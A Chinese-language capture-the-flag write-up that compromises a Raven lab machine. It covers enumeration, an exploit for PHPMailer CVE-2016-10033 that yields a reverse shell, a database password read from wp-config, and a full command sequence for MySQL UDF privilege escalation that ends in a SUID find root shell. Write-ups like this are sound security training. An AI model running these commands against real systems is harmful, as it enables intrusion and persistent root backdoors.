难度 中
目标 root权限 + 4个flag
使用Virtualbox启动
kali 192.168.86.105 靶机 192.168.86.106
信息收集
看到111端口有一个rpc相关的东西,去网上查看了一下是什么服务
通过在网上搜索发现这是一个信息泄露的漏洞,上面的这个端口其实就是泄露的端口和服务,但是这里明显没有看出来有什么重要的服务,那个36623也并没有什么重要的信息。
因为不确定36623端口的服务所以先看看80端口
看着是一个安全团队的公司主页,发现有个注册登录结果是假的
最下面有个邮件发送的输入框,尝试发送也没有反应,抓包看是发向一个域名猜测可以需要做域名解析。
然后点击blog是wordpress的登录页面,但是页面资源都没有加载出来
抓包发现访问 raven.local 域名失败,于是编辑一下/etc/hosts文件修改一下域名解析然后再访问就正常了
点击contact有几个输入功能点,点击后发现mail.php都没有。。。假的功能点
在没有过多信息下先扫一扫目录,用ip和域名都扫一下
看到有泄露DS_Store,使用工具ds_store_exp-master可以将泄露的内容下载
但是下载后没有下载到有用的源码文件,不过倒是发现了这个Security - Doc目录,这个应该是一个安装手册
然后使用域名又扫了一遍扫出了vendor
发现了目录遍历
点了第二个PATH发现了一个flag。。。
然后里面的全都翻了一番,大概是一个email的开源的项目,在github上面有的,其中发现了还有个列出了此项目存在的CVE漏洞。全都是英文人要看晕了。。。
同时这个页面还告诉了我们版本号
突破边界
刚好小于5.2.18,说不定存在CVE-2016-10033,或者直接在漏洞库中搜索一下这个PHPMailer项目有没有什么漏洞
在kali里面看一下
上面这几个都是CVE-2016-10033漏洞的利用,三个试了都没直接成功。然后去网上找了一下使用方法发现需要修改内容
使用的是40874.py这个脚本
这里目标是contact.php,是这个页面触发的漏洞(这个地方指定了漏洞出现的页面是contact.php页面我一开始也不理解,然后我拿到shell之后进去看发现有个contact.zip能下载contact.php。里面有提示,同时可以参考 PHPMailer 命令执行漏洞(CVE-2016-10033)复现 - Fram3 - 博客园 可以看到漏洞出现的地方是有一个发送邮件的输入框和contact符合特征。)
修改之后还是无法正常的上传文件,然后又执行看了一下wp发现应该是编码的问题
在代码前面添加这些东西
#!/usr/bin/python3
# -*- coding: utf-8 -*-
然后执行的使用直接./40974.py
这里我换了个后门的名字为666.php
访问一下
成功的反弹了shell,而且是python反弹的比较好的shell
提取
查看一下passwd发现steven和michael连两个用户可以登录,并且都有自己的目录。先去两个家目录看了一下发现没啥东西,先上信息收集脚步收集一下信息
收集到wp_config中的一些数据库的账号密码
库名 wordpress
登录名 root
密码 R@v3nSecurity
以及发现版本可以使用脏牛提权
同是发现了var目录下面的flag2
但是使用脏牛提权失败了,不知道为什么两个exp都使用了执行结果都说成功的创建了新的账号密码实际并没有。。。
那么还有数据库没有查看,我是挺怀疑数据库中存在flag的所以需要去看一看
先查看了一下数据库是否开启,没想到数据库是以root权限启动的,说不定可以用来提权
简单看了一下没有flag,那么开始尝试使用mysql进行提权
使用UDF提权
首先查看版本 MySQL / MariaDB 版本 4.X 和 5.X 。
查看一下路径的写入权限
show variables like "%secure_file_priv%";
没啥问题,这里使用msf中自带的文件
复制一下文件
c文件给出了编译使用的方法
在kali本地生成so文件
然后再次进入mysql进行操作,这里注意一下插件的路径,这里一开始没注意然后后面链接过去发现没写对,可以先使用
show variables like "%plugin%";
查看一下路径
然后就可以利用这个函数进行命令执行了,可以使用SUID留下后门
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
exit
成功提权
find . -exec '/bin/sh' \;
拿到flag4
好像还差一个flag3,用命令找了一圈没找到不知道藏到那个里面去了不找了。
后记:
第一次在linux使用UDF提权,也算是比较有收获了,完整的完成了整个的提权过程,还好没有遇到什么环境的问题要是在本机编译的so文件放到靶机上用不了就真的寄了。